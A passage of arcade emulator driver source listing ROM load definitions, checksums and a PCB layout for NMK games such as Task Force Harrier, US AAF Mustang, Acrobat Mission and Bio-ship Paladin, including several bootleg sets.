ROM_START( tharrieru ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "u_2.18b", 0x00000, 0x20000, CRC(78923aaa) SHA1(28338f49581180604403e1bd200f524fc4cb8b9f) ) // "U" stamped on label ROM_LOAD16_BYTE( "u_3.21b", 0x00001, 0x20000, CRC(99cea259) SHA1(75abfb08b2358dd13809ade5a2dfffeb8b8df82c) ) // "U" stamped on label ROM_REGION( 0x010000, "audiocpu", 0 ) ROM_LOAD( "12.4l", 0x00000, 0x10000, CRC(b959f837) SHA1(073b14935e7d5b0cad19a3471fd26e9e3a363827) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.13b", 0x000000, 0x10000, CRC(c7402e4a) SHA1(25cade2f8d4784887f0f51beb48b1e6b695629c2) ) // sldh ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "89050-4.16f", 0x000000, 0x80000, CRC(64d7d687) SHA1(dcfeac71fd577439e31cc1186b720388fbdc6ca0) ) ROM_REGION( 0x100000, "sprites", 0 ) // These two ROMs are located on the 89053-OBJ daughter-board ROM_LOAD16_BYTE( "89050-13.16d", 0x000000, 0x80000, CRC(24db3fa4) SHA1(e0d76c479dfcacf03c04ec4760caecf3fd1e2ff7) ) // Sprites ROM_LOAD16_BYTE( "89050-17.16e", 0x000001, 0x80000, CRC(7f715421) SHA1(bde5e0e1e22519e51ca0fd806909e90cc5b1c5b8) ) ROM_REGION(0x80000, "oki1", 0 ) // Oki sample data ROM_LOAD( "89050-8.4j", 0x00000, 0x80000, CRC(11ee4c39) SHA1(163295c385cff963a5bf87dc3e7bef6019e10ba8) ) // 0x20000 - 0x80000 banked ROM_REGION(0x80000, "oki2", 0 ) // Oki sample data ROM_LOAD( "89050-10.14j", 0x00000, 0x80000, CRC(893552ab) SHA1(b0a34291f4e482858ed295203ae031b17c2dbabc) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x140, "proms", 0 ) ROM_LOAD( "21.bpr", 0x00000, 0x100, CRC(fcd5efea) SHA1(cbda6b14127dabd1788cc256743cf62efaa5e8c4) ) ROM_LOAD( "22.bpr", 0x00000, 0x100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) ROM_LOAD( "23.bpr", 0x00000, 0x020, CRC(fc3569f4) SHA1(e1c498085e4ae9d0a995c94530544b0a5b760fbf) ) ROM_LOAD( "24.bpr", 0x00000, 0x100, CRC(e0a009fe) SHA1(a66a27bb405d4ff8e4c0062273ee9b11e76ee520) ) ROM_LOAD( "25.bpr", 0x00000, 0x100, CRC(e0a009fe) SHA1(a66a27bb405d4ff8e4c0062273ee9b11e76ee520) ) // same as 24.bin ROM_LOAD( "26.bpr", 0x00120, 0x020, CRC(0cbfb33e) SHA1(5dfee031a0a14bcd667fe2af2fa9cdfac3941d22) ) ROM_END ROM_START( tharrierb ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "cpua", 0x00000, 0x20000, CRC(d55d21c7) SHA1(7c66283ca48453cc7eea257d70e5ce09217cfa1e) ) ROM_LOAD16_BYTE( "cpub", 0x00001, 0x20000, CRC(65c247f6) SHA1(9f35f2b6f54814b4c4d23e2d78db8043e678fef2) ) // just a BEQ at 0x6b6a changed to BRA and a BPL at 0x6ba0 changed to BRA ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "s1.512", 0x00000, 0x10000, CRC(b959f837) SHA1(073b14935e7d5b0cad19a3471fd26e9e3a363827) ) ROM_REGION( 0x1000, "mcu", 0 ) ROM_LOAD( "mc68705r35", 0x0000, 0x1000, NO_DUMP ) // doesn't seem to be used by the game. Possibly empty or leftover from a conversion? ROM_REGION( 0x8000, "fgtile", 0 ) ROM_LOAD( "t.256", 0x0000, 0x8000, CRC(4e9a7e0b) SHA1(ff143d1e01e865a62ecc695fe3359a2a0eacee05) ) // half size if compared to the original ROM_REGION( 0x80000, "bgtile", 0 ) ROM_LOAD( "10h.512", 0x00000, 0x10000, CRC(9b97073c) SHA1(963d45bac06ae74872206442d7a7c1bfb142e951) ) ROM_LOAD( "21h.512", 0x10000, 0x10000, CRC(d5a90bd5) SHA1(b1bccc11aada4277482f3988f4f3ffa565f15f59) ) ROM_LOAD( "12h.512", 0x20000, 0x10000, CRC(3d4a03ac) SHA1(a2840d339249441e191bcee59c1330851b5b1992) ) ROM_LOAD( "24h.512", 0x30000, 0x10000, CRC(edecb4c8) SHA1(76190d35e188c5272aa2b0131f28e4edd812237b) ) ROM_LOAD( "11h.512", 0x40000, 0x10000, CRC(c20d20ed) SHA1(4d5492fcbff15c727c642a97bdc51bbf43623199) ) ROM_LOAD( "23h.512", 0x50000, 0x10000, CRC(c7949c45) SHA1(c0d2f58ec9e7e566980dcc8e93215aef735833d4) ) ROM_LOAD( "22h.512", 0x60000, 0x10000, CRC(7f38e700) SHA1(55e135f82154b1ad8210fab5b2aa72d38f4d2f32) ) // 1ST AND 2ND HALF IDENTICAL, original has 0x60000-0x67fff 0xff filled ROM_LOAD( "9h.512", 0x70000, 0x10000, CRC(43499c11) SHA1(9215fa7a76be4e76bf5fdc55c93e635c9b113947) ) ROM_REGION( 0x100000, "sprites", 0 ) // identical to the original up t0 0xeffff, then this bootleg has more data? ROM_LOAD16_BYTE( "l3.512", 0x00000, 0x10000, CRC(b1537a3b) SHA1(82eb2d5b99f3e42b570a46ad3e9861761522a406) ) ROM_LOAD16_BYTE( "l10.512", 0x00001, 0x10000, CRC(203b88f8) SHA1(58441f147719e349f3d7fbf4b21504e417c097f7) ) ROM_LOAD16_BYTE( "l1.512", 0x20000, 0x10000, CRC(060ed368) SHA1(bc9e742595f45e4726b449c808d89504e0663df5) ) ROM_LOAD16_BYTE( "l15.512", 0x20001, 0x10000, CRC(0c5cef0e) SHA1(6bee6956f52de436c2a06f5b5ff8d08f83a79a2d) ) ROM_LOAD16_BYTE( "l2.512", 0x40000, 0x10000, CRC(d62b4a9e) SHA1(b6db3fc00755a2d72effff96e721bfaef4216897) ) ROM_LOAD16_BYTE( "l16.512", 0x40001, 0x10000, CRC(6b637cda) SHA1(838b4ad3e3ebf29c6673bf559b9ad7f729ea148d) ) ROM_LOAD16_BYTE( "l6.512", 0x60000, 0x10000, CRC(5f249283) SHA1(7c25659a3d8f29ca0235b206fc03dfedf15a88fe) ) ROM_LOAD16_BYTE( "l14.512", 0x60001, 0x10000, CRC(dfabc192) SHA1(0d83cfbe308275e8b7e59522eaa49ff778e12713) ) ROM_LOAD16_BYTE( "l5.512", 0x80000, 0x10000, CRC(5e51cdfa) SHA1(d3d9d12c2caffabb670ef5d5909a474c52640443) ) ROM_LOAD16_BYTE( "l11.512", 0x80001, 0x10000, CRC(3ac04d8f) SHA1(e86f8cd21e70b8dd88fda4931db9b28803d6597f) ) ROM_LOAD16_BYTE( "l8.512", 0xa0000, 0x10000, CRC(0a8b8eca) SHA1(6be69a9d2fde671a735bce75fe28503c02062201) ) ROM_LOAD16_BYTE( "l12.512", 0xa0001, 0x10000, CRC(85445005) SHA1(ae880382591f707cf9d445fd11f2d182bfe44c79) ) ROM_LOAD16_BYTE( "l4.512", 0xc0000, 0x10000, CRC(19f82acd) SHA1(ff88e067b05c2de76f56e1a3ad423d8683b498c6) ) ROM_LOAD16_BYTE( "l13.512", 0xc0001, 0x10000, CRC(5cf2b63b) SHA1(2e4d093436a8ade97fe3f62a83d6211111900006) ) ROM_LOAD16_BYTE( "l7.512", 0xe0000, 0x10000, CRC(fc99519f) SHA1(35e86f3c86f978f75dcc37acce0b601cb1d65fdf) ) // 1ST AND 2ND HALF IDENTICAL, original has 0xf8000-0xfffff 0xff filled ROM_LOAD16_BYTE( "l9.512", 0xe0001, 0x10000, CRC(4c5a8f33) SHA1(82540da291a1a78c91a47f05d9557c492315ddbc) ) // " ROM_REGION(0x80000, "oki1", 0 ) // identical to the original, just smaller ROMs ROM_LOAD( "8h.512", 0x00000, 0x10000, CRC(f509f5ca) SHA1(ebdf80efefa01f82d9b9773110326c17b536bfc9) ) ROM_LOAD( "7h.512", 0x10000, 0x10000, CRC(1a0ec174) SHA1(345f707d57311efbcc7a438eff76ae53a2055591) ) ROM_LOAD( "6h.512", 0x20000, 0x10000, CRC(55e704f7) SHA1(14142d25a5a3875046fc5284ff6d1fe8147045f0) ) ROM_LOAD( "5h.512", 0x30000, 0x10000, CRC(ad459ad3) SHA1(4ca8dcfca5bf5b1645d93b5cd18a645d76a9e2e8) ) ROM_LOAD( "4h.512", 0x40000, 0x10000, CRC(5ee53d1d) SHA1(1e7739ef7879f395f986ae04a3779536fee4d377) ) ROM_LOAD( "3h.512", 0x50000, 0x10000, CRC(91c27b64) SHA1(4e0e72bfac2eb97f19456a15f1dd14bb9c1f2e00) ) ROM_LOAD( "2h.512", 0x60000, 0x10000, CRC(8d11ce0d) SHA1(033ee8c8319a0e930ef10a2545d4d3844fee53ed) ) ROM_LOAD( "1h.512", 0x70000, 0x10000, CRC(b42203c4) SHA1(23e07e78d229096a837a496ee7e9826a414b9d6e) ) ROM_REGION(0x80000, "oki2", 0 ) // identical to the original, just smaller ROMs ROM_LOAD( "13h.512", 0x00000, 0x10000, CRC(024878b1) SHA1(df6073ac12d09e7dede796d9bc4f4e2bd9720ff3) ) ROM_LOAD( "14h.512", 0x10000, 0x10000, CRC(3544758d) SHA1(df85c8df1ddaf4433bf33f4b82d9092261da25a3) ) ROM_LOAD( "15h.512", 0x20000, 0x10000, CRC(6929577a) SHA1(91c890e4e4aa39e219e8566b903cc1a5a38793d3) ) ROM_LOAD( "16h.512", 0x30000, 0x10000, CRC(c909d929) SHA1(45e8ac31a66af26044824159efee5fea87e0176d) ) ROM_LOAD( "17h.512", 0x40000, 0x10000, CRC(09e7635b) SHA1(64f8d5a7e5cec8abda4d8adcd595bfbb873d3adc) ) ROM_LOAD( "18h.512", 0x50000, 0x10000, CRC(370a2fbd) SHA1(9cdf8a6155a8afb4472f23df9d62f6a4e62fff30) ) ROM_LOAD( "19h.512", 0x60000, 0x10000, CRC(64e58cfe) SHA1(0310f5504513a8b0be20cfc337a038fcf7925131) ) ROM_LOAD( "20h.512", 0x70000, 0x10000, CRC(5ccd9205) SHA1(6e5443d6af5a896d6dd4b4e06d5c3151826bf8b5) ) ROM_END ROM_START( mustang ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "2.bin", 0x00000, 0x20000, CRC(bd9f7c89) SHA1(a0af46a8ff82b90bece2515e1bd74e7a7ddf5379) ) ROM_LOAD16_BYTE( "3.bin", 0x00001, 0x20000, CRC(0eec36a5) SHA1(c549fbcd3e2741a6d0f2633ded6a85909d37f633) ) ROM_REGION(0x10000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "90058-7", 0x00000, 0x10000, CRC(920a93c8) SHA1(7660ca419e2fd98848ae7f5994994eaed023151e) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "90058-1", 0x00000, 0x20000, CRC(81ccfcad) SHA1(70a0f769c0d4588f6f17bd52cc86a745f30e9f00) ) ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "90058-4", 0x000000, 0x80000, CRC(a07a2002) SHA1(55720d84a251c33c52ae8c33aa41ff8ac9727941) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "90058-8", 0x00000, 0x80000, CRC(560bff04) SHA1(b005642adc81d878971ecbdead8ef5e604c90ae2) ) ROM_LOAD16_BYTE( "90058-9", 0x00001, 0x80000, CRC(b9d72a03) SHA1(43ee9def1b6c491c6832562d66c1af54d81d9b3c) ) ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "90058-5", 0x00000, 0x80000, CRC(c60c883e) SHA1(8a01950cad820b2e781ec81cd12737829edc4f19) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "90058-6", 0x00000, 0x80000, CRC(233c1776) SHA1(7010a2f914611698a65bf4f22bc1753a9ed26277) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x200, "proms", 0 ) ROM_LOAD( "10.bpr", 0x00000, 0x100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_LOAD( "90058-11", 0x00100, 0x100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_END ROM_START( mustangs ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "90058-2", 0x00000, 0x20000, CRC(833aa458) SHA1(a9924f7044397e3a36c674b064173ffae80a79ec) ) ROM_LOAD16_BYTE( "90058-3", 0x00001, 0x20000, CRC(e4b80f06) SHA1(ce589cebb5ea85c89eb44796b821a4bd0c44b9a8) ) ROM_REGION(0x10000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "90058-7", 0x00000, 0x10000, CRC(920a93c8) SHA1(7660ca419e2fd98848ae7f5994994eaed023151e) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "90058-1", 0x00000, 0x20000, CRC(81ccfcad) SHA1(70a0f769c0d4588f6f17bd52cc86a745f30e9f00) ) ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "90058-4", 0x000000, 0x80000, CRC(a07a2002) SHA1(55720d84a251c33c52ae8c33aa41ff8ac9727941) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "90058-8", 0x00000, 0x80000, CRC(560bff04) SHA1(b005642adc81d878971ecbdead8ef5e604c90ae2) ) ROM_LOAD16_BYTE( "90058-9", 0x00001, 0x80000, CRC(b9d72a03) SHA1(43ee9def1b6c491c6832562d66c1af54d81d9b3c) ) ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "90058-5", 0x00000, 0x80000, CRC(c60c883e) SHA1(8a01950cad820b2e781ec81cd12737829edc4f19) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "90058-6", 0x00000, 0x80000, CRC(233c1776) SHA1(7010a2f914611698a65bf4f22bc1753a9ed26277) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x200, "proms", 0 ) ROM_LOAD( "90058-10", 0x00000, 0x100, CRC(de156d99) SHA1(07b70deca74e23bab7c13e5e9aee32d0dbb06509) ) // unknown ROM_LOAD( "90058-11", 0x00100, 0x100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_END ROM_START( mustangb ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "mustang.14", 0x00000, 0x20000, CRC(13c6363b) SHA1(e2c1985d1c8ec9751c47cd7e1b85e007f3aeb6fd) ) ROM_LOAD16_BYTE( "mustang.13", 0x00001, 0x20000, CRC(d8ccce31) SHA1(e8e3e34a480fcd298f11833c6c968c5df77c0e2a) ) ROM_REGION(0x20000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "mustang.16", 0x00000, 0x8000, CRC(99ee7505) SHA1(b97c8ee5e26e8554b5de506fba3b32cc2fde53c9) ) ROM_CONTINUE( 0x010000, 0x08000 ) ROM_COPY( "audiocpu", 0x000000, 0x018000, 0x08000 ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "90058-1", 0x00000, 0x20000, CRC(81ccfcad) SHA1(70a0f769c0d4588f6f17bd52cc86a745f30e9f00) ) ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "90058-4", 0x000000, 0x80000, CRC(a07a2002) SHA1(55720d84a251c33c52ae8c33aa41ff8ac9727941) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "90058-8", 0x00000, 0x80000, CRC(560bff04) SHA1(b005642adc81d878971ecbdead8ef5e604c90ae2) ) ROM_LOAD16_BYTE( "90058-9", 0x00001, 0x80000, CRC(b9d72a03) SHA1(43ee9def1b6c491c6832562d66c1af54d81d9b3c) ) ROM_REGION( 0x040000, "oki", 0 ) // OKIM6295 samples ROM_LOAD( "mustang.17", 0x00000, 0x10000, CRC(f6f6c4bf) SHA1(ea4cf74d968e254ae47c16c2f4c2f4bc1a528808) ) ROM_END ROM_START( mustangb2 ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "05.bin", 0x00000, 0x20000, CRC(13c6363b) SHA1(e2c1985d1c8ec9751c47cd7e1b85e007f3aeb6fd) ) // bootleg manufacturered by TAB AUSTRIA ROM_LOAD16_BYTE( "04.bin", 0x00001, 0x20000, CRC(0d06f723) SHA1(28d5899114746d186e1ddd207deb177b31ff614d) ) ROM_REGION(0x20000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "01.bin", 0x00000, 0x8000, CRC(90820499) SHA1(ddd43373eb1891a05159085b52bf74760824e5aa) ) ROM_CONTINUE( 0x010000, 0x08000 ) ROM_COPY( "audiocpu", 0x000000, 0x018000, 0x08000 ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "06.bin", 0x00000, 0x20000, CRC(81ccfcad) SHA1(70a0f769c0d4588f6f17bd52cc86a745f30e9f00) ) ROM_REGION( 0x080000, "bgtile", 0 ) ROM_LOAD( "07.bin", 0x00000, 0x20000, CRC(5f8fdfb1) SHA1(529494a317409da978d44610682ef56ebc24e0af) ) ROM_LOAD( "10.bin", 0x20000, 0x20000, CRC(39757d6a) SHA1(71acf748c752df70f437b3ffa759d68d283c22cf) ) ROM_LOAD( "08.bin", 0x40000, 0x20000, CRC(b3dd5243) SHA1(38b71dad7d392319ecef690fb230fa9ca46c7d0a) ) ROM_LOAD( "09.bin", 0x60000, 0x20000, CRC(c6c9752f) SHA1(41a3581af7a10eab9eb15580760a99d27e67f085) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "18.bin", 0x00000, 0x20000, CRC(d13f0722) SHA1(3e9c0a3e124f8b2616bb4a39d2d3fb25623b8c85) ) ROM_LOAD16_BYTE( "13.bin", 0x00001, 0x20000, CRC(54773f95) SHA1(2c57f54efa069907dfb59f15fbc2c580180df3cc) ) ROM_LOAD16_BYTE( "17.bin", 0x40000, 0x20000, CRC(87c1fb43) SHA1(e874ab8aba448b002f64197dacb5d6c47fb83af2) ) ROM_LOAD16_BYTE( "14.bin", 0x40001, 0x20000, CRC(932d3e33) SHA1(a784f288fa99e605a0bf396bc7694319980d1cd1) ) ROM_LOAD16_BYTE( "16.bin", 0x80000, 0x20000, CRC(23d03ad5) SHA1(2cde1accd1d97ce9ea3d0ef24ae4d54e04b8f12f) ) ROM_LOAD16_BYTE( "15.bin", 0x80001, 0x20000, CRC(a62b2f87) SHA1(bcffc6d10bed84c509e5cb57125d08127ab2c89d) ) ROM_LOAD16_BYTE( "12.bin", 0xc0000, 0x20000, CRC(42a6cfc2) SHA1(46fc3b30a50efc94613e3b34aaf0543fa4cdc919) ) ROM_LOAD16_BYTE( "11.bin", 0xc0001, 0x20000, CRC(9d3bee66) SHA1(e8db57b9a5581d3d54e69bb7ba229a49a7cc224f) ) ROM_REGION( 0x040000, "oki", 0 ) // OKIM6295 samples ROM_LOAD( "02.bin", 0x00000, 0x10000, CRC(f6f6c4bf) SHA1(ea4cf74d968e254ae47c16c2f4c2f4bc1a528808) ) ROM_END // has tharrier derived sound ROM_START( mustangb3 ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "u2.bin", 0x00000, 0x20000, CRC(1c6c0aaf) SHA1(4c411a814d5edf2ca6630332d3e90c43812e9b95) ) ROM_LOAD16_BYTE( "u1.bin", 0x00001, 0x20000, CRC(e954d6da) SHA1(eec51e651eddd6a4b74dc38fc1a17b31c3550379) ) ROM_REGION(0x10000, "audiocpu", 0 ) ROM_LOAD( "u14.bin", 0x00000, 0x10000, CRC(26041abd) SHA1(d7fb475bb44ea5d968e344a38dabb2eb21bb9e4c) ) ROM_REGION( 0x1000, "mcu", 0 ) ROM_LOAD( "mc68705r35", 0x0000, 0x1000, NO_DUMP ) // doesn't seem to be used by the game. Possibly empty or leftover from a conversion? // GFX ROMs (3 to 11) aren't dumped yet, using the ones from the original for now ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "90058-1", 0x00000, 0x20000, BAD_DUMP CRC(81ccfcad) SHA1(70a0f769c0d4588f6f17bd52cc86a745f30e9f00) ) ROM_REGION( 0x80000, "bgtile", 0 ) ROM_LOAD( "90058-4", 0x00000, 0x80000, BAD_DUMP CRC(a07a2002) SHA1(55720d84a251c33c52ae8c33aa41ff8ac9727941) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "90058-8", 0x00000, 0x80000, BAD_DUMP CRC(560bff04) SHA1(b005642adc81d878971ecbdead8ef5e604c90ae2) ) ROM_LOAD16_BYTE( "90058-9", 0x00001, 0x80000, BAD_DUMP CRC(b9d72a03) SHA1(43ee9def1b6c491c6832562d66c1af54d81d9b3c) ) ROM_REGION( 0x20000, "oki1", 0 ) ROM_LOAD( "u13.bin", 0x00000, 0x20000, CRC(90961f37) SHA1(e3d905516b1454f05125fed1f2c679423ad5b5f0) ) // 1ST AND 2ND HALF IDENTICAL ROM_REGION( 0x20000, "oki2", 0 ) ROM_LOAD( "u12.bin", 0x00000, 0x20000, CRC(0a28eaca) SHA1(392bd5301904ffb92cf97999e406e238717afa45) ) ROM_END ROM_START( acrobatm ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "02_ic100.bin", 0x00000, 0x20000, CRC(3fe487f4) SHA1(29aba5debcfddff14e584a1c7c5a403e85fc6ec0) ) ROM_LOAD16_BYTE( "01_ic101.bin", 0x00001, 0x20000, CRC(17175753) SHA1(738865744badb78a0414ff650a94b97e516d0ea0) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "03_ic79.bin", 0x000000, 0x10000, CRC(d86c186e) SHA1(2e263d4780f2ba7acc7faa88472c85216fbae6a3) ) // Characters ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "09_ic8.bin", 0x000000, 0x100000, CRC(7c12afed) SHA1(ae793e41599355a126cbcce91cd2c9f212d21853) ) // Foreground ROM_REGION( 0x180000, "sprites", 0 ) ROM_LOAD( "07_ic42.bin", 0x000000, 0x100000, CRC(5672bdaa) SHA1(5401a104d72904de19b73125451767bc63d36809) ) // Sprites ROM_LOAD( "08_ic29.bin", 0x100000, 0x080000, CRC(b4c0ace3) SHA1(5d638781d588cfbf4025d002d5a2309049fe1ee5) ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "04_ic74.bin", 0x00000, 0x10000, CRC(176905fb) SHA1(135a184f44bedd93b293b9124fa0bd725e0ee93b) ) ROM_REGION( 0x80000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "05_ic54.bin", 0x00000, 0x80000, CRC(3b8c2b0e) SHA1(72491da32512823540b67dc5027f21c74af08c7d) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x80000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "06_ic53.bin", 0x00000, 0x80000, CRC(c1517cd4) SHA1(5a91ddc608c7a6fbdd9f93e503d39eac02ef04a4) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "10_ic81.bin", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "11_ic80.bin", 0x0100, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_END /* S.B.S. Gomorrah (and Bio-ship Paladin with correct ROMs in place) UPL, 1993 PCB Layout ---------- UPL-90062 |-------------------------------------------------------------------------| | LA4460 4558 YM2203 6116 NMK004 68000 | | 3014 M6295 6.IC120 | | M6295 8MHz 62256 10.IC15 | | SBS-G_05.IC160 | | SBS-G_04.IC139 62256 11.IC14 | |DSW2 DSW1 12MHz | | 82S129.IC69 | | NMK005 | | 82S135.IC94 | | NMK902 | |J 6116 NMK903 NMK901 | |A | |M 6116 7.IC46 | |M 82S123.IC154 6116 6264 NMK903 | |A | | 6116 6264 | | 6116 SBS-G_01.IC9| | 6116 | | | | NMK901 | | | | NMK903 | | | | 62256 62256 8.IC27 SBS-G_02.IC4| | | | 62256 62256 9.IC26 | |SBS-G_03.IC194 10MHz | |-------------------------------------------------------------------------| Notes: 68000 @ 10.0MHz YM2203 @ 1.5MHz [12/8] M6295 @ 4.0MHz [12/3], pin 7 HIGH VSync 60Hz HSync 15.27kHz */ ROM_START( bioship ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "2.ic14", 0x00000, 0x20000, CRC(acf56afb) SHA1(0e8ec494ab406cfee24cf586059878332265de75) ) ROM_LOAD16_BYTE( "1.ic15", 0x00001, 0x20000, CRC(820ef303) SHA1(d2ef29557b05abf8ae79a2c7ce0d15a91b36eeff) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "7", 0x000000, 0x10000, CRC(2f3f5a10) SHA1(c1006eb755eec75f69dc7972d78d0c59088eb140) ) // Characters ROM_REGION( 0x80000, "bgtile", 0 ) ROM_LOAD( "sbs-g_01.ic9", 0x000000, 0x80000, CRC(21302e78) SHA1(a17939c0529c8e9ec2a4edd5e6be4bcb67f86787) ) // Foreground ROM_REGION( 0x80000, "sprites", 0 ) ROM_LOAD( "sbs-g_03.ic194", 0x000000, 0x80000, CRC(60e00d7b) SHA1(36fd02a7842ce1e79b8c4cfbe9c97052bef4aa62) ) // Sprites ROM_REGION( 0x80000, "gfx4", 0 ) ROM_LOAD( "sbs-g_02.ic4", 0x000000, 0x80000, CRC(f31eb668) SHA1(67d6d56ea203edfbae4db658399bf61f14134206) ) // Background ROM_REGION16_BE(0x20000, "tilerom", 0 ) // Background tilemaps (used at runtime) ROM_LOAD16_BYTE( "8.ic27", 0x00000, 0x10000, CRC(75a46fea) SHA1(3d78cfc482b42779bb5aedb722c4a39cbc71bd10) ) ROM_LOAD16_BYTE( "9.ic26", 0x00001, 0x10000, CRC(d91448ee) SHA1(7f84ca3605edcab4bf226dab8dd7218cd5c3e5a4) ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "6.ic120", 0x00000, 0x10000, CRC(5f39a980) SHA1(2a440f86685249f9c317634cad8cdedc8a8f1491) ) ROM_REGION(0x80000, "oki1", 0 ) // Oki sample data ROM_LOAD( "sbs-g_04.ic139", 0x00000, 0x80000, CRC(7c74cc4e) SHA1(92097b372eacabdb9e8e261b0bc4223821ff9273) ) // 0x20000 - 0x80000 banked ROM_REGION(0x80000, "oki2", 0 ) // Oki sample data ROM_LOAD( "sbs-g_05.ic160", 0x00000, 0x80000, CRC(f0a782e3) SHA1(d572226b8e597f1c34d246cb284e047a6e2d9290) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0220, "proms", 0 ) ROM_LOAD( "82s135.ic94", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // V-sync hw (unused) ROM_LOAD( "82s129.ic69", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // H-sync hw (unused) ROM_LOAD( "82s123.ic154",0x0200, 0x0020, CRC(0f789fc7) SHA1(31936c21720802da20e39b4cb030e448353e7f19) ) // ?? ROM_END ROM_START( sbsgomo ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "11.ic14", 0x00000, 0x20000, CRC(7916150b) SHA1(cbcc8918f35ded5130058860a7af6f1d3ecdbdd8) ) ROM_LOAD16_BYTE( "10.ic15", 0x00001, 0x20000, CRC(1d7accb8) SHA1(f80fb8748017e545c96bdc7d964aa18dcd42f528) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "7.ic46", 0x000000, 0x10000, CRC(f2b77f80) SHA1(6cb9e33994dc2741faef912416ebd57b654dfb36) ) // Characters ROM_REGION( 0x80000, "bgtile", 0 ) ROM_LOAD( "sbs-g_01.ic9", 0x000000, 0x80000, CRC(21302e78) SHA1(a17939c0529c8e9ec2a4edd5e6be4bcb67f86787) ) // Foreground ROM_REGION( 0x80000, "sprites", 0 ) ROM_LOAD( "sbs-g_03.ic194", 0x000000, 0x80000, CRC(60e00d7b) SHA1(36fd02a7842ce1e79b8c4cfbe9c97052bef4aa62) ) // Sprites ROM_REGION( 0x80000, "gfx4", 0 ) ROM_LOAD( "sbs-g_02.ic4", 0x000000, 0x80000, CRC(f31eb668) SHA1(67d6d56ea203edfbae4db658399bf61f14134206) ) // Background ROM_REGION16_BE(0x20000, "tilerom", 0 ) // Background tilemaps (used at runtime) ROM_LOAD16_BYTE( "8.ic27", 0x00000, 0x10000, CRC(75a46fea) SHA1(3d78cfc482b42779bb5aedb722c4a39cbc71bd10) ) ROM_LOAD16_BYTE( "9.ic26", 0x00001, 0x10000, CRC(d91448ee) SHA1(7f84ca3605edcab4bf226dab8dd7218cd5c3e5a4) ) ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "6.ic120", 0x00000, 0x10000, CRC(5f39a980) SHA1(2a440f86685249f9c317634cad8cdedc8a8f1491) ) ROM_REGION(0x80000, "oki1", 0 ) // Oki sample data ROM_LOAD( "sbs-g_04.ic139", 0x00000, 0x80000, CRC(7c74cc4e) SHA1(92097b372eacabdb9e8e261b0bc4223821ff9273) ) // 0x20000 - 0x80000 banked ROM_REGION(0x80000, "oki2", 0 ) // Oki sample data ROM_LOAD( "sbs-g_05.ic160", 